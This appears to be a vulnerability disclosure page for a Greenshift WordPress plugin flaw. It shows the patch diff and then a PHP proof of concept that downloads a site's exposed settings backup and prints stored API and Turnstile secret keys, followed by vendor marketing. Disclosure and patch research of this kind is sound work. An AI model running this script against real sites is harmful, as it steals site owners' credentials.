 																		<option value="gemini-3-pro-image-preview" <?php selected($aiimagemodel, 'gemini-3-pro-image-preview'); ?>> Google Pro 3 Preview </option>
-																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1 </option>
+																		<option value="gpt-image-1" <?php selected($aiimagemodel, 'gpt-image-1'); ?>> GPT Image 1.5 </option>
 																		<option value="gpt-image-1.5" <?php selected($aiimagemodel, 'gpt-image-1.5'); ?>> GPT Image 1.5 </option>

 																	</select>
@@ -1141,9 +1128,10 @@
 																<td>
 																	<select name="aidesignmodel">
 																		<option value="claude-haiku-4-5" <?php selected($aidesignmodel, 'claude-haiku-4-5'); ?>> claude-haiku-4-5 </option>
-																		<option value="claude-sonnet-4-5" <?php selected($aidesignmodel, 'claude-sonnet-4-5'); ?>> claude-sonnet-4-5 </option>
-																		<option value="claude-opus-4-5-20251101" <?php selected($aidesignmodel, 'claude-opus-4-5-20251101'); ?>> claude-opus-4-5-20251101 </option>
+																		<option value="claude-sonnet-4-6" <?php selected($aidesignmodel, 'claude-sonnet-4-6'); ?>> claude-sonnet-4-6 </option>
+																		<option value="claude-opus-4-6" <?php selected($aidesignmodel, 'claude-opus-4-6'); ?>> claude-opus-4-6 </option>
 																		<option value="gemini-3-flash-preview" <?php selected($aidesignmodel, 'gemini-3-flash-preview'); ?>> gemini-3-flash-preview </option>
+																		<option value="gemini-3-pro-preview" <?php selected($aidesignmodel, 'gemini-3-pro-preview'); ?>> gemini-3-pro-preview </option>


 																	</select>
@@ -1486,7 +1474,25 @@
 				}

 				$gspb_json_filename = 'settings_backup.json';
-				$gspb_backup_data = json_encode($global_settings, JSON_PRETTY_PRINT);
+
+				// Exclude API keys from backup
+				$backup_settings = $global_settings;
+				$keys_to_exclude = [
+					'googleapi',
+					'turnstile_site_key',
+					'turnstile_secret_key',
+					'openaiapi',
+					'claudeapi',
+					'deepseekapi',
+					'geminiapi'
+				];
+				foreach ($keys_to_exclude as $key) {
+					if (isset($backup_settings[$key])) {
+						unset($backup_settings[$key]);
+					}
+				}
+
+				$gspb_backup_data = json_encode($backup_settings, JSON_PRETTY_PRINT);

 				if (!$wp_filesystem->put_contents($dir . $gspb_json_filename, $gspb_backup_data)) {
 					throw new Exception(esc_html__('JSON is not saved due the permission!!!', 'greenshift-animation-and-page-builder-blocks'));
@@ -1685,6 +1691,10 @@
 			if ($content_post->post_status !== 'publish') {
 				wp_send_json_error('Block not published');
 			}
+			// Don't serve content if post is password protected
+			if (!empty($content_post->post_password)) {
+				wp_send_json_error('Block is password protected');
+			}
 			$content = '';
 			$content = $content_post->post_content;
 			$content = apply_filters('the_content', $content);

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2589 - Greenshift – animation and page builder blocks <= 12.8.3 - Unauthenticated Sensitive Information Exposure via Settings Backup

<?php

$target_url = 'https://example.com';

// Construct the vulnerable backup file path
$backup_path = '/wp-content/uploads/greenshift/settings_backup.json';
$full_url = $target_url . $backup_path;

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $full_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Set user agent to mimic legitimate browser
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute the request
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

// Check if request was successful
if ($http_code === 200 && !empty($response)) {
    // Attempt to parse JSON response
    $data = json_decode($response, true);
    
    if ($data !== null) {
        echo "[+] Successfully retrieved settings backup filen";
        echo "[+] File URL: $full_urln";
        echo "[+] HTTP Status: $http_codenn";
        
        // Check for sensitive API keys
        $sensitive_keys = ['googleapi', 'openaiapi', 'claudeapi', 'geminiapi', 'deepseekapi', 'turnstile_site_key', 'turnstile_secret_key'];
        
        foreach ($sensitive_keys as $key) {
            if (isset($data[$key]) && !empty($data[$key])) {
                echo "[!] Found sensitive key '$key': {$data[$key]}n";
            }
        }
        
        // Display sample of configuration
        echo "n[+] Total configuration keys: " . count($data) . "n";
        
        // Show first few keys as sample
        $sample_keys = array_slice(array_keys($data), 0, 5);
        echo "[+] Sample configuration keys: " . implode(', ', $sample_keys) . "n";
        
    } else {
        echo "[-] Retrieved file but could not parse as JSONn";
        echo "[-] Response preview: " . substr($response, 0, 200) . "...n";
    }
} else {
    echo "[-] Failed to retrieve backup filen";
    echo "[-] HTTP Status: $http_coden";
    echo "[-] Target may be patched or file not presentn";
}

curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School